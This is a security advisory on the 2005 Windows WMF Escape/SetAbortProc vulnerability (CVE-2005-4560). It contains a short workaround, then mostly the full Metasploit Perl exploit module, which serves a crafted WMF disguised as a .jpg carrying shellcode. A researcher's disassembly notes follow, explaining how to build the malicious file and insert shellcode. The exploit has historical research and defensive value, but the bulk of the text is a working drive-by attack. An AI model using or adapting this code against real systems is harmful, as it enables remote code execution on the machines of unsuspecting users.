Microsoft Windows Shimgvw.dll WMF (Exploit)
------------------------------------------------------------------------
SUMMARY
A vulnerability in the way Microsoft's Windows parsers WMF files that
allows attackers to insert arbitrary code to the file and cause its
execution by crafting a malformed WMF file.
DETAILS
Workaround:
To Un-register the Windows Picture and Fax Viewer (Shimgvw.dll) that is
vulnerable do the following:
1. Click Start, click Run, type
regsvr32 -u %windir%/system32/shimgvw.dll
and then click OK.
2. A dialog box appears to confirm that the un-registration process has
succeeded. Click OK to close the dialog box.
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::ie_xp_pfv_metafile;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
my $advanced =
{
};
my $info =
{
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code
Execution',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
'san <san [at] xfocus.org>',
'O600KO78RUS[at]unknown.ru'
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile
function
to execute arbitrary code through the SetAbortProc procedure. This
module
generates a random WMF record stream for each request.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 1000+int(rand(1024)), # :-)
},
'Refs' =>
[
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', '
http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', '
http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],
'Keys' => [ 'wmf' ],
'DisclosureDate' => 'Dec 27 2005',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " .
$self->GetVar('HTTPPORT'));
return;
}
my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
$httphost = Pex::Utils::SourceIP('1.2.3.4');
}
$self->PrintLine("[*] Waiting for connections to
http://";. $httphost
":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;
# The number of random objects we generated
my $fill = 0;
# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";
while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}
while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}
my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) +
length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* Type of metafile (0=memory, 1=disk) */
1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
0x0300,
# DWORD FileSize; /* Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
$fill+1,
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
int(rand(64)+8),
# WORD NumOfParams; /* Not Used (always 0) */
0
).
#
# Filler data
#
$pre_buff.
#
# StandardMetaRecord - Escape()
#
pack('Vvv',
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
0xff26, # Can also be 0x0026, 0x0626, etc...
# WORD Parameters[]; /* Parameter values passed to function */
9,
). $shellcode .
#
# Filler data
#
$suf_buff.
#
# Complete the structure
#
pack('Vv',
3,
0
);
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending
payload...");
# Transmit the HTTP response
$fd->Send(
"HTTP/1.0 200 OK/r/n" .
"Content-Disposition: inline; filename=".
Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg/r/n".
"Content-Type: binary/octet-stream/r/n" .
"Content-Length: " . length($content) . "/r/n" .
"Connection: close/r/n" .
"/r/n" .
$content
);
$fd->Close();
}
sub RandomWMFRecord {
my $type = int(rand(3));
if ($type == 0) {
# CreatePenIndirect
return pack('Vv',
8,
0x02FA
). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
# CreateBrushIndirect
return pack('Vv',
7,
0x02FC
). Pex::Text::RandomData(8)
}
else {
# Rectangle
return pack('Vv',
7,
0x041B
). Pex::Text::RandomData(8)
}
}
1;
__END__
Used with permission by san[at]xfocus.org:
------------------------------------------
The recent wmf vul is really fun, I found some interest things after
analysed it. I attached a very simple wmf file(64 bytes) which can crash
your explorer. You can simply change those 0xcc to your shellcode.
An attach wmf file constructs with a 18 bytes metafile header which
defined as following:
typedef struct _WindowsMetaHeader
{
WORD FileType; /* Type of metafile (0=memory, 1=disk) */
WORD HeaderSize; /* Size of header in WORDS (always 9) */
WORD Version; /* Version of Microsoft Windows used */
DWORD FileSize; /* Total size of the metafile in WORDs */
WORD NumOfObjects; /* Number of objects in the file */
DWORD MaxRecordSize; /* The size of largest record in WORDs */
WORD NumOfParams; /* Not Used (always 0) */
} WMFHEAD;
and two data records which defined as following:
typedef struct _StandardMetaRecord
{
DWORD Size; /* Total size of the record in WORDs */
WORD Function; /* Function number (defined in WINDOWS.H) */
WORD Parameters[]; /* Parameter values passed to function */
} WMFRECORD;
Somethings that we need to attention:
1. FileSize of _WindowsMetaHeader is in WORDs, don't forget to divide 2;
2. the attack file is larger than 64 bytes;
3. the last record always has a function number of 0000h, a Size of
00000003h, and no Parameters array;
4. the attack record has a function number of 0626h, which defined in
wingdi.h. 26h is important, it will flow to Escape function. I found
it will lead to SetAbortProc only the Parameters[0] is 0009h.
text:77C4B65C loc_77C4B65C: ; CODE XREF: PlayMetaFileRecord+43#j
text:77C4B65C ; DATA XREF: .text:off_77C769FE#o
text:77C4B65C push [ebp+uFlags] ; case 0x26
text:77C4B65F push ebx
text:77C4B660 call sub_77C4B68A
text:77C4B665 cmp eax, edi
text:77C4B667 mov [ebp+var_4], eax
text:77C4B66A jnz loc_77C4B424
text:77C4B670 mov ax, [ebx+6]
text:77C4B674 cmp ax, 0Fh
text:77C4B678 jnz loc_77C5FC0A ; flow to Escape
..
text:77C61062 loc_77C61062: ; CODE XREF: Escape+ECB7#j
text:77C61062 sub edi, 6
text:77C61065 jz short loc_77C61090 ; it flow to SetAbortProc only the
Parameters[0] is 0009h
..
text:77C543E7 loc_77C543E7: ; CODE XREF: SetAbortProc+54#j
text:77C543E7 ; SetAbortProc+10720#j
text:77C543E7 xor eax, eax
text:77C543E9 mov [esi+14h], edi ; write callback pointer?
..
text:77C604C8 owned: ; CODE XREF: sub_77C4B09C+1E4#j
text:77C604C8 mov eax, [eax+14h] ; the pointer
text:77C604CB cmp eax, ecx
text:77C604CD jz loc_77C4B286
text:77C604D3 push ecx
text:77C604D4 push edi
text:77C604D5 call eax ; got it
Best Regards
--
san <san[at]xfocus.org>
ADDITIONAL INFORMATION
The information has been provided by <
mailto:hdm@xxxxxxxxxxxxxx> H D
Moore.
The original article can be found at:
<
http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile>
http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile
The advisory can be found at:
<
http://www.securiteam.com/windowsntfocus/6B0022KEKM.html>
http://www.securiteam.com/windowsntfocus/6B0022KEKM.html,
<
http://www.securiteam.com/windowsntfocus/6A0012KEKI.html>
http://www.securiteam.com/windowsntfocus/6A0012KEKI.html
For more information:
<
http://blogs.securiteam.com/index.php/archives/163>
http://blogs.securiteam.com/index.php/archives/163
